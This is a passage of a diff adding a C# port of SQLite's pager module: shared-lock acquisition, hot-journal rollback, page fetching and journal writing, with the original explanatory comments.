+ ** The following operations are also performed by this function. + ** + ** 1) If the pager is currently in PAGER_UNLOCK state (no lock held + ** on the database file), then an attempt is made to obtain a + ** SHARED lock on the database file. Immediately after obtaining + ** the SHARED lock, the file-system is checked for a hot-journal, + ** which is played back if present. Following any hot-journal + ** rollback, the contents of the cache are validated by checking + ** the 'change-counter' field of the database file header and + ** discarded if they are found to be invalid. + ** + ** 2) If the pager is running in exclusive-mode, and there are currently + ** no outstanding references to any pages, and is in the error state, + ** then an attempt is made to clear the error state by discarding + ** the contents of the page cache and rolling back any open journal + ** file. + ** + ** If the operation described by (2) above is not attempted, and if the + ** pager is in an error state other than SQLITE_FULL when this is called, + ** the error state error code is returned. It is permitted to read the + ** database when in SQLITE_FULL error state. + ** + ** Otherwise, if everything is successful, SQLITE_OK is returned. If an + ** IO error occurs while locking the database, checking for a hot-journal + ** file or rolling back a journal file, the IO error code is returned. + */ + static int sqlite3PagerSharedLock( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + bool isErrorReset = false; /* True if recovering from error state */ + + if ( pPager.errCode != 0 ) + { + if ( isOpen( pPager.jfd ) || !String.IsNullOrEmpty( pPager.zJournal ) ) + { + isErrorReset = true; + } + pPager.errCode = SQLITE_OK; + pager_reset( pPager ); + } + + if ( pPager.state == PAGER_UNLOCK || isErrorReset ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int isHotJournal = 0; + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( sqlite3PcacheRefCount( pPager.pPCache ) == 0 ); + if ( pPager.noReadlock != 0 ) + { + Debug.Assert( pPager.readOnly ); + pPager.state = PAGER_SHARED; + } + else + { + rc = pager_wait_on_lock( pPager, SHARED_LOCK ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( pPager.state == PAGER_UNLOCK ); + return pager_error( pPager, rc ); + } + } + Debug.Assert( pPager.state >= SHARED_LOCK ); + + /* If a journal file exists, and there is no RESERVED lock on the + ** database file, then it either needs to be played back or deleted. + */ + if ( !isErrorReset ) + { + Debug.Assert( pPager.state <= PAGER_SHARED ); + rc = hasHotJournal( pPager, ref isHotJournal ); + if ( rc != SQLITE_OK ) + { + goto failed; + } + } + if ( isErrorReset || isHotJournal != 0 ) + { + /* Get an EXCLUSIVE lock on the database file. At this point it is + ** important that a RESERVED lock is not obtained on the way to the + ** EXCLUSIVE lock. If it were, another process might open the + ** database file, detect the RESERVED lock, and conclude that the + ** database is safe to read while this process is still rolling the + ** hot-journal back. + ** + ** Because the intermediate RESERVED lock is not requested, any + ** other process attempting to access the database file will get to + ** this point in the code and fail to obtain its own EXCLUSIVE lock + ** on the database file. + */ + if ( pPager.state < EXCLUSIVE_LOCK ) + { + rc = sqlite3OsLock( pPager.fd, EXCLUSIVE_LOCK ); + if ( rc != SQLITE_OK ) + { + rc = pager_error( pPager, rc ); + goto failed; + } + pPager.state = PAGER_EXCLUSIVE; + } + /* Open the journal for read/write access. This is because in + ** exclusive-access mode the file descriptor will be kept open and + ** possibly used for a transaction later on. On some systems, the + ** OsTruncate() call used in exclusive-access mode also requires + ** a read/write file handle. + */ + if ( !isOpen( pPager.jfd ) ) + { + int res = 0; + rc = sqlite3OsAccess( pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref res ); + if ( rc == SQLITE_OK ) + { + if ( res != 0 ) + { + int fout = 0; + int f = SQLITE_OPEN_READWRITE | SQLITE_OPEN_MAIN_JOURNAL; + Debug.Assert( !pPager.tempFile ); + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, f, ref fout ); + Debug.Assert( rc != SQLITE_OK || isOpen( pPager.jfd ) ); + if ( rc == SQLITE_OK && ( fout & SQLITE_OPEN_READONLY ) != 0 ) + { + rc = SQLITE_CANTOPEN; + sqlite3OsClose( pPager.jfd ); + } + } + else + { + /* If the journal does not exist, it usually means that some + ** other connection managed to get in and roll it back before + ** this connection obtained the exclusive lock above. Or, it + ** may mean that the pager was in the error-state when this + ** function was called and the journal file does not exist. */ + rc = pager_end_transaction( pPager, 0 ); + } + } + } + if ( rc != SQLITE_OK ) + { + goto failed; + } + + /* TODO: Why are these cleared here? Is it necessary? */ + pPager.journalStarted = false; + pPager.journalOff = 0; + pPager.setMaster = 0; + pPager.journalHdr = 0; + + /* Playback and delete the journal. Drop the database write + ** lock and reacquire the read lock. Purge the cache before + ** playing back the hot-journal so that we don't end up with + ** an inconsistent cache. + */ + if ( isOpen( pPager.jfd ) ) + { + rc = pager_playback( pPager, 1 ); + if ( rc != SQLITE_OK ) + { + rc = pager_error( pPager, rc ); + goto failed; + } + } + Debug.Assert( ( pPager.state == PAGER_SHARED ) + || ( pPager.exclusiveMode && pPager.state > PAGER_SHARED ) + ); + } + + if ( pPager.pBackup != null || sqlite3PcachePagecount( pPager.pPCache ) > 0 ) + { + /* The shared-lock has just been acquired on the database file + ** and there are already pages in the cache (from a previous + ** read or write transaction). Check to see if the database + ** has been modified. If the database has changed, flush the + ** cache. + ** + ** Database changes is detected by looking at 15 bytes beginning + ** at offset 24 into the file. The first 4 of these 16 bytes are + ** a 32-bit counter that is incremented with each change. The + ** other bytes change randomly with each file change when + ** a codec is in use. + ** + ** There is a vanishingly small chance that a change will not be + ** detected. The chance of an undetected change is so small that + ** it can be neglected. + */ + byte[] dbFileVers = new byte[pPager.dbFileVers.Length]; + int idummy = 0; + sqlite3PagerPagecount( pPager, ref idummy ); + + if ( pPager.errCode != 0 ) + { + rc = pPager.errCode; + goto failed; + } + + Debug.Assert( pPager.dbSizeValid ); + if ( pPager.dbSize > 0 ) + { + IOTRACE( "CKVERS %p %d\n", pPager, dbFileVers.Length ); + rc = sqlite3OsRead( pPager.fd, dbFileVers, dbFileVers.Length, 24 ); + if ( rc != SQLITE_OK ) + { + goto failed; + } + } + else + { + dbFileVers = new byte[dbFileVers.Length]; //memset(dbFileVers, 0, dbFileVers).Length; + } + + // This loop is very short -- so only minor performance hit + for ( int i = 0 ; i < dbFileVers.Length ; i++ ) //if (memcmp(pPager.dbFileVers, dbFileVers, dbFileVers).Length != 0) + if ( pPager.dbFileVers[i] != dbFileVers[i] ) + { + pager_reset( pPager ); + break; + } + } + Debug.Assert( pPager.exclusiveMode || pPager.state == PAGER_SHARED ); + } + +failed: + if ( rc != SQLITE_OK ) + { + /* pager_unlock() is a no-op for exclusive mode and in-memory databases. */ + pager_unlock( pPager ); + } + return rc; + } + + /* + ** If the reference count has reached zero, rollback any active + ** transaction and unlock the pager. + ** + ** Except, in locking_mode=EXCLUSIVE when there is nothing to in + ** the rollback journal, the unlock is not performed and there is + ** nothing to rollback, so this routine is a no-op. + */ + static void pagerUnlockIfUnused( Pager pPager ) + { + if ( ( sqlite3PcacheRefCount( pPager.pPCache ) == 0 ) + && ( !pPager.exclusiveMode || pPager.journalOff > 0 ) ) + { + pagerUnlockAndRollback( pPager ); + } + } + + /* + ** Acquire a reference to page number pgno in pager pPager (a page + ** reference has type DbPage*). If the requested reference is + ** successfully obtained, it is copied to *ppPage and SQLITE_OK returned. + ** + ** If the requested page is already in the cache, it is returned. + ** Otherwise, a new page object is allocated and populated with data + ** read from the database file. In some cases, the pcache module may + ** choose not to allocate a new page object and may reuse an existing + ** object with no outstanding references. + ** + ** The extra data appended to a page is always initialized to zeros the + ** first time a page is loaded into memory. If the page requested is + ** already in the cache when this function is called, then the extra + ** data is left as it was when the page object was last used. + ** + ** If the database image is smaller than the requested page or if a + ** non-zero value is passed as the noContent parameter and the + ** requested page is not already stored in the cache, then no + ** actual disk read occurs. In this case the memory image of the + ** page is initialized to all zeros. + ** + ** If noContent is true, it means that we do not care about the contents + ** of the page. This occurs in two seperate scenarios: + ** + ** a) When reading a free-list leaf page from the database, and + ** + ** b) When a savepoint is being rolled back and we need to load + ** a new page into the cache to populate with the data read + ** from the savepoint journal. + ** + ** If noContent is true, then the data returned is zeroed instead of + ** being read from the database. Additionally, the bits corresponding + ** to pgno in Pager.pInJournal (bitvec of pages already written to the + ** journal file) and the PagerSavepoint.pInSavepoint bitvecs of any open + ** savepoints are set. This means if the page is made writable at any + ** point in the future, using a call to sqlite3PagerWrite(), its contents + ** will not be journaled. This saves IO. + ** + ** The acquisition might fail for several reasons. In all cases, + ** an appropriate error code is returned and *ppPage is set to NULL. + ** + ** See also sqlite3PagerLookup(). Both this routine and Lookup() attempt + ** to find a page in the in-memory cache first. If the page is not already + ** in memory, this routine goes to disk to read it in whereas Lookup() + ** just returns 0. This routine acquires a read-lock the first time it + ** has to go to disk, and could also playback an old journal if necessary. + ** Since Lookup() never goes to disk, it never has to deal with locks + ** or journal files. + */ + + // Under C# from the header file + //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) + + static int sqlite3PagerGet( + Pager pPager, /* The pager open on the database file */ + u32 pgno, /* Page number to fetch */ + ref DbPage ppPage /* Write a pointer to the page here */ + ) + { + return sqlite3PagerAcquire( pPager, pgno, ref ppPage, 0 ); + } + + static int sqlite3PagerAcquire( + Pager pPager, /* The pager open on the database file */ + u32 pgno, /* Page number to fetch */ + ref DbPage ppPage, /* Write a pointer to the page here */ + u8 noContent /* Do not bother reading content from disk if true */ + ) + { + int rc; + PgHdr pPg = null; + + Debug.Assert( assert_pager_state( pPager ) ); + Debug.Assert( pPager.state > PAGER_UNLOCK ); + if ( pgno == 0 ) + { +#if SQLITE_DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + + /* If the pager is in the error state, return an error immediately. + ** Otherwise, request the page from the PCache layer. */ + if( pPager.errCode!=SQLITE_OK && pPager.errCode!=SQLITE_FULL ){ + rc = pPager.errCode; + }else{ + rc = sqlite3PcacheFetch(pPager.pPCache, pgno, 1,ref ppPage); + } + + if( rc!=SQLITE_OK ){ + /* Either the call to sqlite3PcacheFetch() returned an error or the + ** pager was already in the error-state when this function was called. + ** Set pPg to 0 and jump to the exception handler. */ + pPg = null; + goto pager_acquire_err; + } + Debug.Assert( (ppPage).pgno==pgno ); + Debug.Assert( (ppPage).pPager==pPager || (ppPage).pPager==null ); + + if ( ( ppPage ).pPager != null ) + { + /* In this case the pcache already contains an initialized copy of + ** the page. Return without further ado. */ + Debug.Assert( pgno <= PAGER_MAX_PGNO && pgno != PAGER_MJ_PGNO( pPager ) ); + PAGER_INCR( ref pPager.nHit ); + return SQLITE_OK; + + } + else + { + /* The pager cache has created a new page. Its content needs to + ** be initialized. */ + int nMax = 0; +#if SQLITE_TEST + PAGER_INCR( ref pPager.nMiss ); +#endif + pPg = ppPage; + pPg.pPager = pPager; + pPg.pExtra = new MemPage();//memset(pPg.pExtra, 0, pPager.nExtra); + + /* The maximum page number is 2^31. Return SQLITE_CORRUPT if a page + ** number greater than this, or the unused locking-page, is requested. */ + if ( pgno > PAGER_MAX_PGNO || pgno == PAGER_MJ_PGNO( pPager ) ) + { +#if SQLITE_DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else + rc = SQLITE_CORRUPT_BKPT; +#endif + goto pager_acquire_err; + } + rc = sqlite3PagerPagecount( pPager, ref nMax ); + if ( rc != SQLITE_OK ) + { + goto pager_acquire_err; + } + + if ( nMax < (int)pgno || +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + pPager.memDb != 0 +#endif + || noContent != 0 ) + { + if ( pgno > pPager.mxPgno ) + { + rc = SQLITE_FULL; + goto pager_acquire_err; + } + if ( noContent != 0 ) + { + /* Failure to set the bits in the InJournal bit-vectors is benign. + ** It merely means that we might do some extra work to journal a + ** page that does not need to be journaled. Nevertheless, be sure + ** to test the case where a malloc error occurs while trying to set + ** a bit in a bit vector. + */ + sqlite3BeginBenignMalloc(); + if ( pgno <= pPager.dbOrigSize ) + { +#if !NDEBUG || SQLITE_COVERAGE_TEST + rc = sqlite3BitvecSet( pPager.pInJournal, pgno ); //TESTONLY( rc = ) sqlite3BitvecSet(pPager.pInJournal, pgno); +#else +sqlite3BitvecSet(pPager.pInJournal, pgno); +#endif + testcase( rc == SQLITE_NOMEM ); + } +#if !NDEBUG || SQLITE_COVERAGE_TEST + rc = addToSavepointBitvecs( pPager, pgno ); //TESTONLY( rc = ) addToSavepointBitvecs(pPager, pgno); +#else +addToSavepointBitvecs(pPager, pgno); +#endif + + testcase( rc == SQLITE_NOMEM ); + sqlite3EndBenignMalloc(); + } + else + { + //memset(pPg->pData, 0, pPager.pageSize); + Array.Clear( pPg.pData, 0, pPager.pageSize ); + } + IOTRACE( "ZERO %p %d\n", pPager, pgno ); + } + else + { + Debug.Assert( pPg.pPager == pPager ); + rc = readDbPage( pPg ); + if ( rc != SQLITE_OK ) + { +goto pager_acquire_err; } + } + +#if SQLITE_CHECK_PAGES +pPg.pageHash = pager_pagehash(pPg); +#endif + } + return SQLITE_OK; + + pager_acquire_err: + Debug.Assert( rc != SQLITE_OK ); + if ( pPg!=null ) + { + sqlite3PcacheDrop( pPg ); + } + pagerUnlockIfUnused( pPager ); + + ppPage = null; + return rc; + } + + /* + ** Acquire a page if it is already in the in-memory cache. Do + ** not read the page from disk. Return a pointer to the page, + ** or 0 if the page is not in cache. Also, return 0 if the + ** pager is in PAGER_UNLOCK state when this function is called, + ** or if the pager is in an error state other than SQLITE_FULL. + ** + ** See also sqlite3PagerGet(). The difference between this routine + ** and sqlite3PagerGet() is that _get() will go to the disk and read + ** in the page if the page is not already in cache. This routine + ** returns NULL if the page is not in cache or if a disk I/O error + ** has ever happened. + */ + static DbPage sqlite3PagerLookup( Pager pPager, u32 pgno ) + { + PgHdr pPg = null; + + Debug.Assert( pPager != null ); + Debug.Assert( pgno != 0 ); + Debug.Assert( pPager.pPCache != null ); + Debug.Assert( pPager.state > PAGER_UNLOCK ); + sqlite3PcacheFetch( pPager.pPCache, pgno, 0, ref pPg ); + + return pPg; + } + + /* + ** Release a page reference. + ** + ** If the number of references to the page drop to zero, then the + ** page is added to the LRU list. When all references to all pages + ** are released, a rollback occurs and the lock on the database is + ** removed. + */ + static void sqlite3PagerUnref( DbPage pPg ) + { + if ( pPg != null ) + { + Pager pPager = pPg.pPager; + sqlite3PcacheRelease( pPg ); + pagerUnlockIfUnused( pPager ); + } + } + + /* + ** If the main journal file has already been opened, ensure that the + ** sub-journal file is open too. If the main journal is not open, + ** this function is a no-op. + ** + ** SQLITE_OK is returned if everything goes according to plan. + ** An SQLITE_IOERR_XXX error code is returned if a call to + ** sqlite3OsOpen() fails. + */ + static int openSubJournal( Pager pPager ) + { + int rc = SQLITE_OK; + if ( isOpen( pPager.jfd ) && !isOpen( pPager.sjfd ) ) + { + if ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY || pPager.subjInMemory != 0 ) + { + sqlite3MemJournalOpen( pPager.sjfd ); + } + else + { + rc = pagerOpentemp( pPager, ref pPager.sjfd, SQLITE_OPEN_SUBJOURNAL ); + } + } + return rc; + } + + /* + ** This function is called at the start of every write transaction. + ** There must already be a RESERVED or EXCLUSIVE lock on the database + ** file when this routine is called. + ** + ** Open the journal file for pager pPager and write a journal header + ** to the start of it. If there are active savepoints, open the sub-journal + ** as well. This function is only used when the journal file is being + ** opened to write a rollback log for a transaction. It is not used + ** when opening a hot journal file to roll it back. + ** + ** If the journal file is already open (as it may be in exclusive mode), + ** then this function just writes a journal header to the start of the + ** already open file. + ** + ** Whether or not the journal file is opened by this function, the + ** Pager.pInJournal bitvec structure is allocated. + ** + ** Return SQLITE_OK if everything is successful. Otherwise, return + ** SQLITE_NOMEM if the attempt to allocate Pager.pInJournal fails, or + ** an IO error code if opening or writing the journal file fails. + */ + static int pager_open_journal( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + sqlite3_vfs pVfs = pPager.pVfs; /* Local cache of vfs pointer */ + + Debug.Assert( pPager.state >= PAGER_RESERVED ); + Debug.Assert( pPager.useJournal != 0 ); + Debug.Assert( pPager.pInJournal == null ); + Debug.Assert( pPager.journalMode != PAGER_JOURNALMODE_OFF ); + + /* If already in the error state, this function is a no-op. But on + ** the other hand, this routine is never called if we are already in + ** an error state. */ + if ( NEVER( pPager.errCode )!=0 ) return pPager.errCode; + + /* TODO: Is it really possible to get here with dbSizeValid==0? If not, + ** the call to PagerPagecount() can be removed. + */ + testcase( pPager.dbSizeValid == false ); + int idummy = 0; sqlite3PagerPagecount( pPager, ref idummy ); + + pPager.pInJournal = sqlite3BitvecCreate( pPager.dbSize );// sqlite3MallocZero(pPager.dbSize / 8 + 1); + if ( pPager.pInJournal == null ) + { + return SQLITE_NOMEM; + } + + /* Open the journal file if it is not already open. */ + if ( !isOpen( pPager.jfd ) ) + { + if ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ) + { + sqlite3MemJournalOpen( pPager.jfd ); + } + else + { + int flags = /* VFS flags to open journal file */ + SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | + ( pPager.tempFile ? + ( SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_TEMP_JOURNAL ) : + ( SQLITE_OPEN_MAIN_JOURNAL ) + ); +#if SQLITE_ENABLE_ATOMIC_WRITE +rc = sqlite3JournalOpen( +pVfs, pPager.zJournal, pPager.jfd, flags, jrnlBufferSize(pPager) +); +#else + int int0 = 0; + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, flags, ref int0 ); +#endif + } + Debug.Assert( rc != SQLITE_OK || isOpen( pPager.jfd ) ); + } + + /* Write the first journal header to the journal file and open + ** the sub-journal if necessary. + */ + if ( rc == SQLITE_OK ) + { + /* TODO: Check if all of these are really required. */ + pPager.dbOrigSize = pPager.dbSize; + pPager.journalStarted = false; + pPager.needSync = false; + pPager.nRec = 0; + pPager.journalOff = 0; + pPager.setMaster = 0; + pPager.journalHdr = 0; + rc = writeJournalHdr( pPager ); + } + if ( rc == SQLITE_OK && pPager.nSavepoint != 0 ) + { + rc = openSubJournal( pPager ); + } + + if ( rc != SQLITE_OK ) + { + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + } + return rc; + } + + /* + ** Begin a write-transaction on the specified pager object. If a + ** write-transaction has already been opened, this function is a no-op. + ** + ** If the exFlag argument is false, then acquire at least a RESERVED + ** lock on the database file. If exFlag is true, then acquire at least + ** an EXCLUSIVE lock. If such a lock is already held, no locking + ** functions need be called. + ** + ** If this is not a temporary or in-memory file and, the journal file is + ** opened if it has not been already. For a temporary file, the opening + ** of the journal file is deferred until there is an actual need to + ** write to the journal. TODO: Why handle temporary files differently? + ** + ** If the journal file is opened (or if it is already open), then a + ** journal-header is written to the start of it. + ** + ** If the subjInMemory argument is non-zero, then any sub-journal opened + ** within this transaction will be opened as an in-memory file. This + ** has no effect if the sub-journal is already opened (as it may be when + ** running in exclusive mode) or if the transaction does not require a + ** sub-journal. If the subjInMemory argument is zero, then any required + ** sub-journal is implemented in-memory if pPager is an in-memory database, + ** or using a temporary file otherwise. + */ + static int sqlite3PagerBegin( Pager pPager, bool exFlag, int subjInMemory ) + { + int rc = SQLITE_OK; + Debug.Assert( pPager.state != PAGER_UNLOCK ); + pPager.subjInMemory = (u8)subjInMemory; + if ( pPager.state == PAGER_SHARED ) + { + Debug.Assert( pPager.pInJournal == null ); +#if SQLITE_OMIT_MEMORYDB +Debug.Assert( 0==MEMDB && !pPager.tempFile ); +#endif + /* Obtain a RESERVED lock on the database file. If the exFlag parameter +** is true, then immediately upgrade this to an EXCLUSIVE lock. The +** busy-handler callback can be used when upgrading to the EXCLUSIVE +** lock, but not when obtaining the RESERVED lock. +*/ + rc = sqlite3OsLock( pPager.fd, RESERVED_LOCK ); + if ( rc == SQLITE_OK ) + { + pPager.state = PAGER_RESERVED; + if ( exFlag ) + { + rc = pager_wait_on_lock( pPager, EXCLUSIVE_LOCK ); + } + } + + /* If the required locks were successfully obtained, open the journal + ** file and write the first journal-header to it. + */ + if ( rc == SQLITE_OK && pPager.journalMode != PAGER_JOURNALMODE_OFF ) + { + rc = pager_open_journal( pPager ); + } + } + else if ( isOpen( pPager.jfd ) && pPager.journalOff == 0 ) + { + /* This happens when the pager was in exclusive-access mode the last + ** time a (read or write) transaction was successfully concluded + ** by this connection. Instead of deleting the journal file it was + ** kept open and either was truncated to 0 bytes or its header was + ** overwritten with zeros. + */ + Debug.Assert( pPager.nRec == 0 ); + Debug.Assert( pPager.dbOrigSize == 0 ); + Debug.Assert( pPager.pInJournal == null ); + rc = pager_open_journal( pPager ); + } + PAGERTRACE( "TRANSACTION %d\n", PAGERID( pPager ) ); + Debug.Assert( !isOpen( pPager.jfd ) || pPager.journalOff > 0 || rc != SQLITE_OK ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( !pPager.dbModified ); + /* Ignore any IO error that occurs within pager_end_transaction(). The + ** purpose of this call is to reset the internal state of the pager + ** sub-system. It doesn't matter if the journal-file is not properly + ** finalized at this point (since it is not a valid journal file anyway). + */ + pager_end_transaction( pPager, 0 ); + } + return rc; + } + + /* + ** Mark a single data page as writeable. The page is written into the + ** main journal or sub-journal as required. If the page is written into + ** one of the journals, the corresponding bit is set in the + ** Pager.pInJournal bitvec and the PagerSavepoint.pInSavepoint bitvecs + ** of any open savepoints as appropriate. + */ + static int pager_write( PgHdr pPg ) + { + byte[] pData = pPg.pData; + Pager pPager = pPg.pPager; + int rc = SQLITE_OK; + + /* This routine is not called unless a transaction has already been + ** started. + */ + Debug.Assert( pPager.state >= PAGER_RESERVED ); + + /* If an error has been previously detected, we should not be + ** calling this routine. Repeat the error for robustness. + */ + if (NEVER(pPager.errCode) != 0) return pPager.errCode; + + /* Higher-level routines never call this function if database is not + ** writable. But check anyway, just for robustness. */ + if ( NEVER( pPager.readOnly ) ) return SQLITE_PERM; + Debug.Assert( 0 == pPager.setMaster ); + +#if SQLITE_CHECK_PAGES +CHECK_PAGE(pPg); +#endif + /* Mark the page as dirty. If the page has already been written +** to the journal then we can return right away. +*/ + sqlite3PcacheMakeDirty( pPg ); + if ( pageInJournal( pPg ) && !subjRequiresPage( pPg ) ) + { + pPager.dbModified = true; + } + else + { + + /* If we get this far, it means that the page needs to be + ** written to the transaction journal or the ckeckpoint journal + ** or both. + ** + ** Higher level routines should have already started a transaction, + ** which means they have acquired the necessary locks and opened + ** a rollback journal. Double-check to makes sure this is the case. + */ + rc = sqlite3PagerBegin( pPager, false, pPager.subjInMemory ); + if (NEVER( rc != SQLITE_OK )) + { + return rc; + } + if ( !isOpen( pPager.jfd ) && pPager.journalMode != PAGER_JOURNALMODE_OFF ) + { + Debug.Assert( pPager.useJournal != 0 ); + rc = pager_open_journal( pPager ); + if ( rc != SQLITE_OK ) return rc; + } + pPager.dbModified = true; + + /* The transaction journal now exists and we have a RESERVED or an + ** EXCLUSIVE lock on the main database file. Write the current page to + ** the transaction journal if it is not there already. + */ + if ( !pageInJournal( pPg ) && isOpen( pPager.jfd ) ) + { + if ( pPg.pgno <= pPager.dbOrigSize ) + { + u32 cksum; + byte[] pData2 = null; + + /* We should never write to the journal file the page that + ** contains the database locks. The following Debug.Assert verifies + ** that we do not. */ + Debug.Assert( pPg.pgno != ( ( PENDING_BYTE / ( pPager.pageSize ) ) + 1 ) );//PAGER_MJ_PGNO(pPager) ); + CODEC2( pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2 );// CODEC2(pPager, pData, pPg->pgno, 7, return SQLITE_NOMEM, pData2); + cksum = pager_cksum( pPager, pData2 ); + rc = write32bits( pPager.jfd, pPager.journalOff, (u32)pPg.pgno ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3OsWrite( pPager.jfd, pData2, pPager.pageSize, + pPager.journalOff + 4 ); + pPager.journalOff += pPager.pageSize + 4; + } + if ( rc == SQLITE_OK ) + { + rc = write32bits( pPager.jfd, pPager.journalOff, (u32)cksum ); + pPager.journalOff += 4; + } + IOTRACE( "JOUT %p %d %lld %d\n", pPager, pPg.pgno, + pPager.journalOff, pPager.pageSize ); +#if SQLITE_TEST + int iValue; + iValue = sqlite3_pager_writej_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_writej_count.iValue = iValue; +#endif + PAGERTRACE( "JOURNAL %d page %d needSync=%d hash(%08x)\n", + PAGERID( pPager ), pPg.pgno, + ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0 ), pager_pagehash( pPg ) ); + /* Even if an IO or diskfull error occurred while journalling the + ** page in the block above, set the need-sync flag for the page. + ** Otherwise, when the transaction is rolled back, the logic in + ** playback_one_page() will think that the page needs to be restored + ** in the database file. And if an IO error occurs while doing so, + ** then corruption may follow. + */ + if ( !pPager.noSync ) + { + pPg.flags |= PGHDR_NEED_SYNC; + pPager.needSync = true; + } + + /* An error has occurred writing to the journal file. The + ** transaction will be rolled back by the layer above. + */ + if ( rc != SQLITE_OK ) + { + return rc; + } + + pPager.nRec++; + Debug.Assert( pPager.pInJournal != null ); + rc = sqlite3BitvecSet( pPager.pInJournal, pPg.pgno ); + testcase( rc == SQLITE_NOMEM ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_NOMEM ); + rc |= addToSavepointBitvecs( pPager, pPg.pgno ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( rc == SQLITE_NOMEM ); + return rc; + } + } + else + { + if ( !pPager.journalStarted && !pPager.noSync ) + { + pPg.flags |= PGHDR_NEED_SYNC; + pPager.needSync = true; + } + PAGERTRACE( "APPEND %d page %d needSync=%d\n", + PAGERID( pPager ), pPg.pgno, + ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0 ) ); + } + } + + /* If the statement journal is open and the page is not in it, + ** then write the current page to the statement journal. Note that + ** the statement journal format differs from the standard journal format + ** in that it omits the checksums and the header. + */ + if ( subjRequiresPage( pPg ) ) + { + rc = subjournalPage( pPg ); + } + } + + /* Update the database size and return. + */ + Debug.Assert( pPager.state >= PAGER_SHARED ); + if ( pPager.dbSize < (int)pPg.pgno ) + { + pPager.dbSize = pPg.pgno; + } + return rc; + } + + /* + ** Mark a data page as writeable. This routine must be called before + ** making changes to a page. The caller must check the return value + ** of this function and be careful not to change any page data unless + ** this routine returns SQLITE_OK. + ** + ** The difference between this function and pager_write() is that this + ** function also deals with the special case where 2 or more pages + ** fit on a single disk sector. In this case all co-resident pages + ** must have been written to the journal file before returning. + ** + ** If an error occurs, SQLITE_NOMEM or an IO error code is returned + ** as appropriate. Otherwise, SQLITE_OK. + */ + static int sqlite3PagerWrite( DbPage pDbPage ) + { + int rc = SQLITE_OK; + + PgHdr pPg = pDbPage; + Pager pPager = pPg.pPager; + u32 nPagePerSector = (u32)( pPager.sectorSize / pPager.pageSize ); + + if ( nPagePerSector > 1 ) + { + int nPageCount = 0; /* Total number of pages in database file */ + u32 pg1; /* First page of the sector pPg is located on. */ + u32 nPage; /* Number of pages starting at pg1 to journal */ + int ii; /* Loop counter */ + bool needSync = false; /* True if any page has PGHDR_NEED_SYNC */ + + /* Set the doNotSync flag to 1. This is because we cannot allow a journal + ** header to be written between the pages journaled by this function. + */ + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( !pPager.doNotSync ); + pPager.doNotSync = true; + + /* This trick assumes that both the page-size and sector-size are + ** an integer power of 2. It sets variable pg1 to the identifier + ** of the first page of the sector pPg is located on. + */ + pg1 = (u32)( ( pPg.pgno - 1 ) & ~( nPagePerSector - 1 ) ) + 1; + + sqlite3PagerPagecount( pPager, ref nPageCount ); + if ( pPg.pgno > nPageCount ) + { + nPage = (u32)( pPg.pgno - pg1 ) + 1; + } + else if ( ( pg1 + nPagePerSector - 1 ) > nPageCount ) + { + nPage = (u32)( nPageCount + 1 - pg1 ); + } + else + { + nPage = nPagePerSector; + } + Debug.Assert( nPage > 0 ); + Debug.Assert( pg1 <= pPg.pgno ); + Debug.Assert( ( pg1 + nPage ) > pPg.pgno ); + + for ( ii = 0 ; ii < nPage && rc == SQLITE_OK ; ii++ ) + { + u32 pg = (u32)( pg1 + ii ); + PgHdr pPage = new PgHdr(); + if ( pg == pPg.pgno || sqlite3BitvecTest( pPager.pInJournal, pg ) == 0 ) + { + if ( pg != ( ( PENDING_BYTE / ( pPager.pageSize ) ) + 1 ) ) //PAGER_MJ_PGNO(pPager)) + { + rc = sqlite3PagerGet( pPager, pg, ref pPage ); + if ( rc == SQLITE_OK ) + { + rc = pager_write( pPage ); + if ( ( pPage.flags & PGHDR_NEED_SYNC ) != 0 ) + { + needSync = true; + Debug.Assert( pPager.needSync ); + + } + sqlite3PagerUnref( pPage ); + } + } + } + else if ( ( pPage = pager_lookup( pPager, pg ) ) != null ) + { + if ( ( pPage.flags & PGHDR_NEED_SYNC ) != 0 ) + { + needSync = true; + } + sqlite3PagerUnref( pPage ); + } + } + + /* If the PGHDR_NEED_SYNC flag is set for any of the nPage pages + ** starting at pg1, then it needs to be set for all of them. Because + ** writing to any of these nPage pages may damage the others, the + ** journal file must contain sync()ed copies of all of them + ** before any of them can be written out to the database file. + */ + if ( rc == SQLITE_OK && needSync ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + && pPager.noSync == false ); + for ( ii = 0 ; ii < nPage ; ii++ ) + { + PgHdr pPage = pager_lookup( pPager, (u32)( pg1 + ii ) ); + if ( pPage != null ) + { + pPage.flags |= PGHDR_NEED_SYNC; + sqlite3PagerUnref( pPage ); + } + } + Debug.Assert( pPager.needSync ); + } + + Debug.Assert( pPager.doNotSync ); + pPager.doNotSync = false; + } + else + { + rc = pager_write( pDbPage ); + } + return rc; + } + + /* + ** Return TRUE if the page given in the argument was previously passed + ** to sqlite3PagerWrite(). In other words, return TRUE if it is ok 